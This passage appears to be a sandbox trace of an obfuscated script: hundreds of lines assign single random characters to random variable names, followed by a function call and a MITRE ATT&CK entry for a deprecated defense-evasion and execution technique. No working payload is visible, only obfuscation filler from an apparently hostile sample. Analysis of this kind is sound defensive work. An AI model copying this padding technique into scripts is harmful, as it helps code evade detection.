363	xianpausw = "T";
364	xianpausw = "V";
365	xianpausw = "R";
366	iqqnfcr = "e";
367	iqqnfcr = "v";
368	iqqnfcr = "F";
369	iqqnfcr = "j";
370	iqqnfcr = "A";
371	iqqnfcr = "R";
372	iqqnfcr = "B";
373	iqqnfcr = "S";
374	iqqnfcr = "c";
375	iqqnfcr = "q";
376	iqqnfcr = "P";
377	iqqnfcr = "k";
378	iqqnfcr = "c";
379	iqqnfcr = "O";
380	iqqnfcr = "Q";
381	iqqnfcr = "l";
382	iqqnfcr = "y";
383	iqqnfcr = "H";
384	iqqnfcr = "n";
385	iqqnfcr = "c";
386	iqqnfcr = "s";
387	iqqnfcr = "y";
388	iqqnfcr = "y";
389	iqqnfcr = "i";
390	iqqnfcr = "g";
391	iqqnfcr = "A";
392	iqqnfcr = "q";
393	iqqnfcr = "E";
394	iqqnfcr = "b";
395	iqqnfcr = "c";
396	iqqnfcr = "t";
397	iqqnfcr = "8";
398	zrokn = "n";
399	zrokn = "L";
400	zrokn = "R";
401	zrokn = "O";
402	zrokn = "U";
403	zrokn = "H";
404	zrokn = "d";
405	zrokn = "a";
406	zrokn = "c";
407	zrokn = "c";
408	zrokn = "t";
409	zrokn = "M";
410	zrokn = "J";
411	zrokn = "e";
412	zrokn = "W";
413	zrokn = "z";
414	zrokn = "a";
415	zrokn = "R";
416	zrokn = "q";
417	zrokn = "K";
418	zrokn = "s";
419	zrokn = "c";
420	zrokn = "B";
421	zrokn = "m";
422	zrokn = "G";
423	zrokn = "U";
424	zrokn = "r";
425	zrokn = "d";
426	cxoxos = "G";
427	cxoxos = "T";
428	cxoxos = "r";
429	cxoxos = "N";
430	cxoxos = "S";
431	cxoxos = "b";
432	cxoxos = "I";
433	cxoxos = "K";
434	cxoxos = "Z";
435	cxoxos = "G";
436	cxoxos = "k";
437	cxoxos = "x";
438	cxoxos = "V";
439	cxoxos = "j";
440	cxoxos = "U";
441	cxoxos = "y";
442	cxoxos = "S";
443	cxoxos = "E";
444	cxoxos = "s";
445	cxoxos = "a";
446	cxoxos = "a";
447	cxoxos = "x";
448	cxoxos = "t";
449	cxoxos = "M";
450	cxoxos = "B";
451	cxoxos = "a";
452	cxoxos = "o";
453	cxoxos = "y";
454	cxoxos = "S";
455	cxoxos = "I";
456	nbkmbngi = "T";
457	nbkmbngi = "D";
458	nbkmbngi = "E";
459	nbkmbngi = "A";
460	nbkmbngi = "r";
461	nbkmbngi = "b";
462	nbkmbngi = "h";
463	nbkmbngi = "U";
464	nbkmbngi = "s";
465	nbkmbngi = "X";
466	nbkmbngi = "R";
467	nbkmbngi = "H";
468	nbkmbngi = "l";
469	nbkmbngi = "E";
470	nbkmbngi = "n";
471	nbkmbngi = "i";
472	nbkmbngi = "x";
473	nbkmbngi = "Z";
474	nbkmbngi = "L";
475	nbkmbngi = "h";
476	nbkmbngi = "T";
477	nbkmbngi = "S";
478	nbkmbngi = "l";
479	nbkmbngi = "v";
480	nbkmbngi = "X";
481	nbkmbngi = "h";
482	nbkmbngi = "k";
483	nbkmbngi = "S";
484	nbkmbngi = "Z";
485	nbkmbngi = "S";
486	nbkmbngi = "Q";
487	fqmfmcng = "e";
488	fqmfmcng = "a";
489	fqmfmcng = "s";
490	fqmfmcng = "G";
491	fqmfmcng = "u";
492	fqmfmcng = "z";
493	fqmfmcng = "a";
494	fqmfmcng = "E";
495	fqmfmcng = "U";
496	fqmfmcng = "u";
497	fqmfmcng = "j";
498	fqmfmcng = "V";
499	fqmfmcng = "O";
500	fqmfmcng = "x";
501	fqmfmcng = "Z";
502	fqmfmcng = "L";
503	fqmfmcng = "P";
504	fqmfmcng = "Q";
505	fqmfmcng = "j";
506	fqmfmcng = "r";
507	fqmfmcng = "w";
508	fqmfmcng = "n";
509	fqmfmcng = "S";
510	fqmfmcng = "k";
511	fqmfmcng = "I";
512	fqmfmcng = "Z";
513	fqmfmcng = "r";
514	fqmfmcng = "t";
515	fqmfmcng = "y";
516	fqmfmcng = "J";
517	fqmfmcng = "T";
518	aiubopq = "v";
519	aiubopq = "J";
520	aiubopq = "b";
521	aiubopq = "b";
522	aiubopq = "Y";
523	aiubopq = "Q";
524	aiubopq = "E";
525	aiubopq = "x";
526	aiubopq = "x";
527	aiubopq = "d";
528	aiubopq = "S";
529	aiubopq = "y";
530	aiubopq = "N";
531	aiubopq = "Z";
532	aiubopq = "y";
533	aiubopq = "T";
534	aiubopq = "u";
535	aiubopq = "D";
536	aiubopq = "u";
537	aiubopq = "T";
538	aiubopq = "S";
539	aiubopq = "c";
540	aiubopq = "f";
541	aiubopq = "b";
542	aiubopq = "u";
543	aiubopq = "t";
544	aiubopq = "m";
545	aiubopq = "w";
546	aiubopq = "G";
547	aiubopq = "M";
548	aiubopq = "L";
549	lwysgyr = "x";
550	lwysgyr = "S";
551	lwysgyr = "D";
552	lwysgyr = "p";
553	lwysgyr = "Q";
554	lwysgyr = "M";
555	lwysgyr = "J";
556	lwysgyr = "A";
557	lwysgyr = "B";
558	lwysgyr = "h";
559	lwysgyr = "y";
560	lwysgyr = "n";
561	lwysgyr = "t";
562	lwysgyr = "H";
563	lwysgyr = "r";
564	lwysgyr = "n";
565	lwysgyr = "V";
566	lwysgyr = "j";
567	lwysgyr = "G";
568	lwysgyr = "J";
569	lwysgyr = "s";
570	lwysgyr = "V";
571	lwysgyr = "a";
572	lwysgyr = "W";
573	lwysgyr = "J";
574	lwysgyr = "e";
575	lwysgyr = "l";
576	lwysgyr = "D";
577	lwysgyr = "q";
578	lwysgyr = "h";
579	lwysgyr = "Y";
580	lwysgyr = "V";
581	lwysgyr = "m";
582	lwysgyr = "p";
583	lwysgyr = "v";
584	lwysgyr = "d";
585	lwysgyr = "Z";
586	lwysgyr = "v";
587	lwysgyr = "n";
588	lwysgyr = "p";
589	lwysgyr = "G";
590	lwysgyr = "O";
591	lwysgyr = "h";
592	qwxuju = "c";
593	qwxuju = "M";
594	qwxuju = "U";
595	qwxuju = "s";
596	qwxuju = ".";
597	ibqpkqlub = "f";
598	ibqpkqlub = "I";
599	ibqpkqlub = "B";
600	ibqpkqlub = "r";
601	ibqpkqlub = "D";
602	ibqpkqlub = "P";
603	ibqpkqlub = "x";
604	ibqpkqlub = "J";
605	ibqpkqlub = "z";
606	ibqpkqlub = "r";
607	ibqpkqlub = "J";
608	ibqpkqlub = "D";
609	ibqpkqlub = "Q";
610	ibqpkqlub = "Z";
611	ibqpkqlub = "k";
612	ibqpkqlub = "B";
613	ibqpkqlub = "r";
614	ibqpkqlub = "f";
615	ibqpkqlub = "j";
616	ibqpkqlub = "p";
617	ibqpkqlub = "I";
618	ibqpkqlub = "D";
619	ibqpkqlub = "P";
620	ibqpkqlub = "L";
621	ibqpkqlub = "m";
622	ibqpkqlub = "m";
623	ibqpkqlub = "E";
624	ibqpkqlub = "k";
625	ibqpkqlub = "k";
626	ebwdfanfq = "k";
627	ebwdfanfq = "a";
628	ebwdfanfq = "I";
629	ebwdfanfq = "d";
630	ebwdfanfq = "h";
631	ebwdfanfq = "M";
632	ebwdfanfq = "X";
633	ebwdfanfq = "T";
634	ebwdfanfq = "Q";
635	ebwdfanfq = "i";
636	ebwdfanfq = "U";
637	ebwdfanfq = "o";
638	ebwdfanfq = "D";
639	ebwdfanfq = "G";
640	ebwdfanfq = "n";
641	ebwdfanfq = "u";
642	ebwdfanfq = "d";
643	ebwdfanfq = "T";
644	ebwdfanfq = "r";
645	ebwdfanfq = "w";
646	ebwdfanfq = "u";
647	rnojqfu = "b";
648	rnojqfu = "C";
649	rnojqfu = "G";
650	rnojqfu = "V";
651	rnojqfu = "Y";
652	rnojqfu = "e";
653	rnojqfu = "x";
654	rnojqfu = "p";
655	rnojqfu = "K";
656	rnojqfu = "j";
657	rnojqfu = "o";
658	rnojqfu = "y";
659	rnojqfu = "F";
660	rnojqfu = "C";
661	rnojqfu = "X";
662	rnojqfu = "c";
663	rnojqfu = "l";
664	rnojqfu = "C";
665	rnojqfu = "k";
666	rnojqfu = "S";
667	rnojqfu = "j";
668	rnojqfu = "M";
669	rnojqfu = "V";
670	rnojqfu = "D";
671	rnojqfu = "K";
672	rnojqfu = "a";
673	rnojqfu = "i";
674	rnojqfu = "x";
675	rnojqfu = "n";
676	rnojqfu = "f";
677	rnojqfu = "j";
678	rnojqfu = "x";
679	rnojqfu = "j";
680	kqfhiynzw = "u";
681	kqfhiynzw = "L";
682	kqfhiynzw = "Y";
683	kqfhiynzw = "w";
684	kqfhiynzw = "V";
685	kqfhiynzw = "q";
686	kqfhiynzw = "m";
687	kqfhiynzw = "R";
688	kqfhiynzw = "j";
689	kqfhiynzw = "F";
690	kqfhiynzw = "V";
691	kqfhiynzw = "v";
692	kqfhiynzw = "m";
693	kqfhiynzw = "Y";
694	kqfhiynzw = "X";
695	kqfhiynzw = "c";
696	kqfhiynzw = "i";
697	kqfhiynzw = "p";
698	kqfhiynzw = "B";
699	kqfhiynzw = "Z";
700	kqfhiynzw = "k";
701	kqfhiynzw = "d";
702	kqfhiynzw = "w";
703	kqfhiynzw = "y";
704	kqfhiynzw = "b";
705	kqfhiynzw = "p";
706	kqfhiynzw = "U";
707	kqfhiynzw = "i";
708	kqfhiynzw = "h";
709	kqfhiynzw = " ";
710	mnvebhaew = "R";
711	mnvebhaew = "k";
712	mnvebhaew = "h";
713	mnvebhaew = "m";
714	mnvebhaew = "q";
715	mnvebhaew = "N";
716	mnvebhaew = "z";
717	mnvebhaew = "R";
718	mnvebhaew = "e";
719	mnvebhaew = "l";
720	mnvebhaew = "T";
721	mnvebhaew = "h";
722	mnvebhaew = "C";
723	mnvebhaew = "Z";
724	mnvebhaew = "B";
725	mnvebhaew = "R";
726	mnvebhaew = "G";
727	mnvebhaew = "f";
728	mnvebhaew = "N";
729	mnvebhaew = "B";
730	mnvebhaew = "t";
731	mnvebhaew = "G";
732	mnvebhaew = "l";
733	mnvebhaew = "o";
734	mnvebhaew = "K";
735	mnvebhaew = "X";
736	mnvebhaew = "w";
737	mnvebhaew = "T";
738	mnvebhaew = "G";
739	mnvebhaew = "S";
740	mnvebhaew = "S";
741	mnvebhaew = "H";
742	mnvebhaew = "A";
743	mnvebhaew = "U";
744	mnvebhaew = "j";
745	mnvebhaew = "m";
746	mnvebhaew = "z";
747	mnvebhaew = "K";
748	mnvebhaew = "a";
749	taderv = "A";
750	taderv = "R";
751	taderv = "V";
752	taderv = "m";
753	taderv = "u";
754	taderv = "a";
755	taderv = "K";
756	taderv = "O";
757	taderv = "E";
758	taderv = "f";
759	taderv = "L";
760	taderv = "C";
761	taderv = "M";
762	taderv = "T";
763	taderv = "u";
764	taderv = "V";
765	taderv = "n";
766	taderv = "M";
767	taderv = "r";
768	fpatrsi = "X";
769	fpatrsi = "Y";
770	fpatrsi = "Z";
771	fpatrsi = "D";
772	fpatrsi = "T";
773	fpatrsi = "e";
774	fpatrsi = "H";
775	fpatrsi = "x";
776	fpatrsi = "n";
777	fpatrsi = "A";
778	fpatrsi = "R";
779	fpatrsi = "F";
780	fpatrsi = "z";
781	fpatrsi = "W";
782	fpatrsi = "T";
783	fpatrsi = "m";
784	fpatrsi = "n";
785	fpatrsi = "A";
786	fpatrsi = "p";
787	fpatrsi = "d";
788	fpatrsi = "g";
789	fpatrsi = "F";
790	fpatrsi = "l";
791	fpatrsi = "S";
792	fpatrsi = "D";
793	fpatrsi = "S";
794	fpatrsi = "j";
795	fpatrsi = "F";
796	fpatrsi = "b";
797	fpatrsi = "O";
798	fpatrsi = "T";
799	fpatrsi = "I";
800	fpatrsi = "X";
801	fpatrsi = "v";
802	fpatrsi = "K";
803	fpatrsi = "e";
804	fpatrsi = "P";
805	fpatrsi = "A";
806	fpatrsi = "s";
807	fpatrsi = "G";
808	fpatrsi = "Q";
809	fpatrsi = "V";
810	fpatrsi = "%";
811	rijswdnf = "B";
812	rijswdnf = "o";
813	rijswdnf = "V";
814	rijswdnf = "F";
815	rijswdnf = "B";
816	rijswdnf = "P";
817	rijswdnf = "I";
818	rijswdnf = "M";
819	rijswdnf = "R";
820	rijswdnf = "o";
821	rijswdnf = "U";
822	rijswdnf = "E";
823	rijswdnf = "k";
824	rijswdnf = "D";
825	rijswdnf = "t";
826	rijswdnf = "R";
827	rijswdnf = "Q";
828	rijswdnf = "S";
829	rijswdnf = "m";
830	rijswdnf = "G";
831	rijswdnf = "b";
832	rijswdnf = "L";
833	rijswdnf = "V";
834	rijswdnf = "D";
835	rijswdnf = "X";
836	rijswdnf = "O";
837	rijswdnf = "W";
838	rijswdnf = "q";
839	rijswdnf = "W";
840	rijswdnf = "m";
841	rijswdnf = "x";
842	rijswdnf = "C";
843	rijswdnf = "f";
844	rijswdnf = "v";
845	rijswdnf = "S";
846	rijswdnf = "m";
847	rijswdnf = "V";
848	rijswdnf = "4";
849	uzukw = "t";
850	uzukw = "N";
851	uzukw = "Z";
852	uzukw = "J";
853	uzukw = "p";
854	uzukw = "q";
855	uzukw = "t";
856	uzukw = "S";
857	jluuorgrz = "m";
858	jluuorgrz = "W";
859	jluuorgrz = "U";
860	jluuorgrz = "v";
861	jluuorgrz = "g";
862	jluuorgrz = "t";
863	jluuorgrz = "Q";
864	jluuorgrz = "O";
865	jluuorgrz = "u";
866	jluuorgrz = "b";
867	jluuorgrz = "D";
868	jluuorgrz = "p";
869	jluuorgrz = "N";
870	jluuorgrz = "H";
871	jluuorgrz = "z";
872	jluuorgrz = "T";
873	jluuorgrz = "L";
874	jluuorgrz = "u";
875	jluuorgrz = "s";
876	jluuorgrz = "D";
877	jluuorgrz = "X";
878	jluuorgrz = "x";
879	jluuorgrz = "T";
880	jluuorgrz = "L";
881	jluuorgrz = "l";
882	jluuorgrz = "D";
883	jluuorgrz = "v";
884	jluuorgrz = "g";
885	jluuorgrz = "n";
886	jluuorgrz = "d";
887	jluuorgrz = "H";
888	jluuorgrz = "A";
889	jluuorgrz = "F";
890	jluuorgrz = "j";
891	jluuorgrz = "m";
892	jluuorgrz = "O";
893	jluuorgrz = "r";
894	jluuorgrz = "i";
895	jluuorgrz = "c";
896	jluuorgrz = "y";
897	jluuorgrz = "u";
898	jluuorgrz = "L";
899	jluuorgrz = "&";
900	xoial = "X";
901	xoial = "j";
902	xoial = "j";
903	xoial = "E";
904	xoial = "Y";
905	xoial = "F";
906	xoial = "e";
907	xoial = "l";
908	xoial = "F";
909	xoial = "d";
910	xoial = "B";
911	xoial = "j";
912	xoial = "y";
913	xoial = "c";
914	xoial = "p";
915	xoial = "X";
916	xoial = "t";
917	xoial = "b";
918	xoial = "B";
919	xoial = "O";
920	xoial = "t";
921	xoial = "R";
922	xoial = "g";
923	xoial = "F";
924	xoial = "p";
925	xoial = "d";
926	xoial = "W";
927	xoial = "y";
928	xoial = "a";
929	xoial = "G";
930	xoial = "H";
931	xoial = "R";
932	xoial = "T";
933	xoial = "b";
934	xoial = "e";
935	xoial = "I";
936	xoial = "X";
937	xoial = "U";
938	rpcqogif = "G";
939	rpcqogif = "g";
940	rpcqogif = "A";
941	rpcqogif = "M";
942	rpcqogif = "v";
943	rpcqogif = "Y";
944	rpcqogif = "H";
945	rpcqogif = "m";
946	rpcqogif = "x";
947	rpcqogif = "s";
948	rpcqogif = "G";
949	rpcqogif = "i";
950	rpcqogif = "Y";
951	rpcqogif = "y";
952	rpcqogif = "G";
953	rpcqogif = "M";
954	rpcqogif = "o";
955	rpcqogif = "d";
956	rpcqogif = "u";
957	rpcqogif = "Y";
958	rpcqogif = "f";
959	rpcqogif = "T";
960	rpcqogif = "T";
961	rpcqogif = "Y";
962	rpcqogif = "r";
963	rpcqogif = "T";
964	rpcqogif = "Q";
965	rpcqogif = "D";
966	rpcqogif = "E";
967	rpcqogif = "m";
968	rpcqogif = "b";
969	rpcqogif = "Y";
970	rpcqogif = "j";
971	rpcqogif = "W";
972	rpcqogif = "l";
973	rpcqogif = "u";
974	rpcqogif = "I";
975	rpcqogif = "L";
976	rpcqogif = "u";
977	rpcqogif = "\"";
978	xyotj = "U";
979	xyotj = "t";
980	xyotj = "m";
981	xyotj = "e";
982	xyotj = "R";
983	xyotj = "I";
984	xyotj = "u";
985	xyotj = "c";
986	xyotj = "b";
987	xyotj = "n";
988	xyotj = "W";
989	xyotj = "Z";
990	xyotj = "e";
991	xyotj = "j";
992	xyotj = "W";
993	xyotj = "y";
994	xyotj = "m";
995	xyotj = "Z";
996	xyotj = "p";
997	xyotj = "D";
998	xyotj = "I";
999	xyotj = "V";
1000	xyotj = "c";
1001	vrmjhi = "h";
1002	vrmjhi = "b";
1003	vrmjhi = "R";
1004	vrmjhi = "U";
1005	vrmjhi = "R";
1006	vrmjhi = "C";
1007	vrmjhi = "j";
1008	vrmjhi = "H";
1009	vrmjhi = "n";
1010	vrmjhi = "v";
1011	vrmjhi = "T";
1012	vrmjhi = "w";
1013	vrmjhi = "K";
1014	vrmjhi = "w";
1015	vrmjhi = "v";
1016	vrmjhi = "c";
1017	vrmjhi = "A";
1018	vrmjhi = "u";
1019	vrmjhi = "P";
1020	vrmjhi = "q";
1021	vrmjhi = "y";
1022	vrmjhi = "i";
1023	vrmjhi = "G";
1024	vrmjhi = "s";
1025	vrmjhi = "x";
1026	vrmjhi = "c";
1027	vrmjhi = "b";
1028	vrmjhi = "a";
1029	vrmjhi = "Y";
1030	vrmjhi = "u";
1031	vrmjhi = "b";
1032	pizxyjn = "s";
1033	pizxyjn = "t";
1034	pizxyjn = "y";
1035	pizxyjn = "w";
1036	pizxyjn = "B";
1037	pizxyjn = "Y";
1038	pizxyjn = "e";
1039	pizxyjn = "E";
1040	pizxyjn = "Z";
1041	pizxyjn = "s";
1042	pizxyjn = "K";
1043	pizxyjn = "D";
1044	pizxyjn = "o";
1045	pizxyjn = "s";
1046	pizxyjn = "n";
1047	pizxyjn = "H";
1048	pizxyjn = "X";
1049	pizxyjn = "D";
1050	pizxyjn = "U";
1051	pizxyjn = "a";
1052	pizxyjn = "z";
1053	pizxyjn = "d";
1054	pizxyjn = "\\";
1055	ojeiywkg = "c";
1056	ojeiywkg = "o";
1057	ojeiywkg = "g";
1058	ojeiywkg = "g";
1059	ojeiywkg = "H";
1060	ojeiywkg = "l";
1061	ojeiywkg = "Q";
1062	ojeiywkg = "T";
1063	ojeiywkg = "x";
1064	ojeiywkg = "L";
1065	ojeiywkg = "U";
1066	ojeiywkg = "j";
1067	ojeiywkg = "k";
1068	ojeiywkg = "G";
1069	ojeiywkg = "z";
1070	ojeiywkg = "M";
1071	ojeiywkg = "e";
1072	ojeiywkg = "m";
1073	ojeiywkg = "R";
1074	ojeiywkg = "h";
1075	ojeiywkg = "u";
1076	ojeiywkg = "g";
1077	ojeiywkg = "k";
1078	ojeiywkg = "K";
1079	ojeiywkg = "I";
1080	ojeiywkg = "v";
1081	ojeiywkg = "f";
1082	ojeiywkg = "3";
1083	hxrtldvu = "i";
1084	hxrtldvu = "u";
1085	hxrtldvu = "a";
1086	hxrtldvu = "X";
1087	hxrtldvu = "O";
1088	hxrtldvu = "D";
1089	hxrtldvu = "w";
1090	hxrtldvu = "e";
1091	hxrtldvu = "F";
1092	hxrtldvu = "A";
1093	hxrtldvu = "g";
1094	hxrtldvu = "r";
1095	hxrtldvu = "G";
1096	hxrtldvu = "J";
1097	hxrtldvu = "Z";
1098	hxrtldvu = "S";
1099	hxrtldvu = "y";
1100	hxrtldvu = "D";
1101	hxrtldvu = "C";
1102	hxrtldvu = "C";
1103	hxrtldvu = "i";
1104	hxrtldvu = "O";
1105	hxrtldvu = "S";
1106	hxrtldvu = "n";
1107	hxrtldvu = "S";
1108	hxrtldvu = "n";
1109	hxrtldvu = "Y";
1110	hxrtldvu = "j";
1111	hxrtldvu = "o";
1112	hxrtldvu = "q";
1113	hxrtldvu = "k";
1114	hxrtldvu = "Y";
1115	hxrtldvu = "A";
1116	hxrtldvu = "i";
1117	hxrtldvu = "l";
1118	hxrtldvu = "J";
1119	hxrtldvu = "K";
1120	hxrtldvu = "-";
1121	tzoqaquw = "Q";
1122	tzoqaquw = "S";
1123	tzoqaquw = "M";
1124	tzoqaquw = "B";
1125	tzoqaquw = "V";
1126	tzoqaquw = "B";
1127	tzoqaquw = "C";
1128	tzoqaquw = "t";
1129	tzoqaquw = "P";
1130	tzoqaquw = "R";
1131	tzoqaquw = "L";
1132	tzoqaquw = "j";
1133	tzoqaquw = "O";
1134	tzoqaquw = "f";
1135	tzoqaquw = "W";
1136	tzoqaquw = "M";
1137	tzoqaquw = "F";
1138	tzoqaquw = "b";
1139	tzoqaquw = "f";
1140	tzoqaquw = "C";
1141	tzoqaquw = "Q";
1142	tzoqaquw = "x";
1143	tzoqaquw = "o";
1144	tzoqaquw = "P";
1145	mqiohx = "u";
1146	mqiohx = "V";
1147	mqiohx = "B";
1148	mqiohx = "Q";
1149	mqiohx = "B";
1150	mqiohx = "G";
1151	mqiohx = "f";
1152	mqiohx = "s";
1153	mqiohx = "o";
1154	mqiohx = "h";
1155	mqiohx = "x";
1156	mqiohx = "Q";
1157	mqiohx = "a";
1158	mqiohx = "n";
1159	mqiohx = "D";
1160	mqiohx = "/";
1161	vcagmbvs = "u";
1162	vcagmbvs = "y";
1163	vcagmbvs = "M";
1164	vcagmbvs = "g";
1165	vcagmbvs = "K";
1166	vcagmbvs = "K";
1167	vcagmbvs = "n";
1168	vcagmbvs = "I";
1169	vcagmbvs = "S";
1170	vcagmbvs = "v";
1171	vcagmbvs = "u";
1172	vcagmbvs = "g";
1173	vcagmbvs = "N";
1174	vcagmbvs = "q";
1175	yupcerxd = "J";
1176	yupcerxd = "i";
1177	yupcerxd = "A";
1178	yupcerxd = "W";
1179	yupcerxd = "i";
1180	yupcerxd = "g";
1181	yupcerxd = "G";
1182	yupcerxd = "c";
1183	yupcerxd = "h";
1184	yupcerxd = "S";
1185	yupcerxd = "I";
1186	yupcerxd = "E";
1187	yupcerxd = "Q";
1188	yupcerxd = "k";
1189	yupcerxd = "e";
1190	yupcerxd = "U";
1191	yupcerxd = "y";
1192	yupcerxd = "q";
1193	yupcerxd = "z";
1194	yupcerxd = "R";
1195	yupcerxd = "F";
1196	yupcerxd = "S";
1197	yupcerxd = "a";
1198	yupcerxd = "C";
1199	yupcerxd = "I";
1200	yupcerxd = "b";
1201	yupcerxd = "r";
1202	yupcerxd = "V";
1203	yupcerxd = "j";
1204	yupcerxd = "j";
1205	yupcerxd = "w";
1206	yupcerxd = "u";
1207	yupcerxd = "z";
1208	yupcerxd = "Y";
1209	yupcerxd = "K";
1210	yupcerxd = "l";
1211	yupcerxd = "Y";
1212	yupcerxd = "y";
1213	yupcerxd = "9";
1214	qhyku = "M";
1215	qhyku = "t";
1216	qhyku = "U";
1217	qhyku = "S";
1218	qhyku = "L";
1219	qhyku = "w";
1220	qhyku = "P";
1221	qhyku = "z";
1222	qhyku = "V";
1223	qhyku = "L";
1224	qhyku = "C";
1225	qhyku = "t";
1226	qhyku = "M";
1227	qhyku = "A";
1228	qhyku = "X";
1229	qhyku = "U";
1230	qhyku = "Y";
1231	qhyku = "w";
1232	dytmcemuj = "H";
1233	dytmcemuj = "a";
1234	dytmcemuj = "a";
1235	dytmcemuj = "z";
1236	dytmcemuj = "p";
1237	dytmcemuj = "c";
1238	dytmcemuj = "K";
1239	spbcdcdvj = "H";
1240	spbcdcdvj = "i";
1241	spbcdcdvj = "j";
1242	spbcdcdvj = "i";
1243	spbcdcdvj = "I";
1244	spbcdcdvj = "n";
1245	spbcdcdvj = "j";
1246	spbcdcdvj = "F";
1247	spbcdcdvj = "Y";
1248	spbcdcdvj = "v";
1249	spbcdcdvj = "u";
1250	spbcdcdvj = "D";
1251	spbcdcdvj = "h";
1252	spbcdcdvj = "T";
1253	spbcdcdvj = "w";
1254	spbcdcdvj = "a";
1255	spbcdcdvj = "p";
1256	spbcdcdvj = "G";
1257	spbcdcdvj = "N";
1258	spbcdcdvj = "n";
1259	spbcdcdvj = "t";
1260	spbcdcdvj = "L";
1261	spbcdcdvj = "z";
1262	spbcdcdvj = "e";
1263	spbcdcdvj = "P";
1264	spbcdcdvj = "U";
1265	spbcdcdvj = "p";
1266	spbcdcdvj = "P";
1267	spbcdcdvj = "h";
1268	spbcdcdvj = "w";
1269	spbcdcdvj = "N";
1270	spbcdcdvj = "b";
1271	spbcdcdvj = "Y";
1272	spbcdcdvj = "5";
1273	qpupun = "U";
1274	qpupun = "t";
1275	qpupun = "N";
1276	qpupun = "c";
1277	qpupun = "d";
1278	qpupun = "F";
1279	qpupun = "K";
1280	qpupun = "e";
1281	qpupun = "G";
1282	qpupun = "a";
1283	qpupun = "y";
1284	qpupun = "R";
1285	qpupun = "x";
1286	qpupun = "N";
1287	qpupun = "b";
1288	qpupun = "u";
1289	qpupun = "W";
1290	qpupun = "x";
1291	qpupun = "Z";
1292	qpupun = "y";
1293	qpupun = "e";
1294	qpupun = "y";
1295	qpupun = "U";
1296	qpupun = "r";
1297	qpupun = "L";
1298	qpupun = "M";
1299	qpupun = "E";
1300	qpupun = "m";
1301	qpupun = "B";
1302	qpupun = "w";
1303	qpupun = "t";
1304	qpupun = "Y";
1305	qpupun = "x";
1306	qpupun = "E";
1307	qpupun = "t";
1308	loqrnixg = "w";
1309	loqrnixg = "l";
1310	loqrnixg = "V";
1311	loqrnixg = "b";
1312	loqrnixg = "T";
1313	loqrnixg = "c";
1314	loqrnixg = "m";
1315	loqrnixg = "T";
1316	loqrnixg = "d";
1317	loqrnixg = "o";
1318	loqrnixg = "q";
1319	loqrnixg = "q";
1320	loqrnixg = "u";
1321	loqrnixg = "v";
1322	loqrnixg = "s";
1323	loqrnixg = "E";
1324	loqrnixg = "U";
1325	loqrnixg = "G";
1326	loqrnixg = "A";
1327	loqrnixg = "M";
1328	loqrnixg = "S";
1329	loqrnixg = "I";
1330	loqrnixg = "y";
1331	loqrnixg = "O";
1332	loqrnixg = "a";
1333	loqrnixg = "i";
1334	loqrnixg = "W";
1335	loqrnixg = "Z";
1336	loqrnixg = "X";
1337	loqrnixg = "u";
1338	loqrnixg = "z";
1339	loqrnixg = "T";
1340	loqrnixg = "d";
1341	loqrnixg = "X";
1342	loqrnixg = "U";
1343	loqrnixg = "y";
1344	loqrnixg = "I";
1345	loqrnixg = "H";
1346	loqrnixg = "O";
1347	loqrnixg = "l";
1348	loqrnixg = "l";
1349	iywjy = "L";
1350	iywjy = "U";
1351	iywjy = "X";
1352	iywjy = "I";
1353	iywjy = "Q";
1354	iywjy = "t";
1355	iywjy = "s";
1356	iywjy = "x";
1357	iywjy = "X";
1358	iywjy = "o";
1359	iywjy = "p";
1360	iywjy = "f";
1361	pkkdmqs = "K";
1362	pkkdmqs = "b";
1363	pkkdmqs = "d";
1364	pkkdmqs = "1";
1365	mweyjrb = "k";
1366	mweyjrb = "C";
1367	mweyjrb = "A";
1368	mweyjrb = "j";
1369	mweyjrb = "I";
1370	mweyjrb = "Z";
1371	mweyjrb = "K";
1372	mweyjrb = "t";
1373	mweyjrb = "a";
1374	mweyjrb = "v";
1375	weuzjsxcl = "w";
1376	weuzjsxcl = "v";
1377	weuzjsxcl = "F";
1378	weuzjsxcl = "Z";
1379	weuzjsxcl = "K";
1380	weuzjsxcl = "c";
1381	weuzjsxcl = "s";
1382	weuzjsxcl = "D";
1383	weuzjsxcl = "W";
1384	dcxzj = "R";
1385	dcxzj = "i";
1386	dcxzj = "e";
1387	dcxzj = "q";
1388	dcxzj = "C";
1389	dcxzj = "i";
1390	dcxzj = "h";
1391	dcxzj = "m";
1392	dcxzj = "u";
1393	dcxzj = "q";
1394	dcxzj = "a";
1395	dcxzj = "M";
1396	dcxzj = "u";
1397	dcxzj = "q";
1398	dcxzj = "W";
1399	dcxzj = "p";
1400	dcxzj = "G";
1401	dcxzj = "R";
1402	dcxzj = "G";
1403	dcxzj = "x";
1404	cxheq = "E";
1405	cxheq = "Q";
1406	cxheq = "A";
1407	cxheq = "G";
1408	cxheq = "z";
1409	cxheq = "N";
1410	cxheq = "K";
1411	cxheq = "g";
1412	cxheq = "u";
1413	cxheq = "g";
1414	cxheq = "k";
1415	cxheq = "D";
1416	cxheq = "p";
1417	cxheq = "A";
1418	cxheq = "p";
1419	ugqsaabyh = "n";
1420	ugqsaabyh = "k";
1421	ugqsaabyh = "U";
1422	ugqsaabyh = "O";
1423	ugqsaabyh = "N";
1424	ugqsaabyh = "c";
1425	ugqsaabyh = "N";
1426	ugqsaabyh = "m";
1427	ugqsaabyh = "L";
1428	ugqsaabyh = "n";
1429	ugqsaabyh = "Z";
1430	ugqsaabyh = "T";
1431	ugqsaabyh = "D";
1432	ugqsaabyh = "G";
1433	ugqsaabyh = "q";
1434	ugqsaabyh = "Z";
1435	ugqsaabyh = "m";
1436	ugqsaabyh = "H";
1437	sdrmzd = "i";
1438	sdrmzd = "d";
1439	sdrmzd = "S";
1440	sdrmzd = "K";
1441	sdrmzd = "P";
1442	sdrmzd = "j";
1443	sdrmzd = "u";
1444	sdrmzd = "K";
1445	sdrmzd = "F";
1446	sdrmzd = "g";
1447	sdrmzd = "e";
1448	sdrmzd = "j";
1449	sdrmzd = "m";
1450	sdrmzd = "Q";
1451	sdrmzd = "n";
1452	sdrmzd = "C";
1453	sdrmzd = "6";
1454	iisqwrox = "O";
1455	bqnyz ( );	bqnyz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

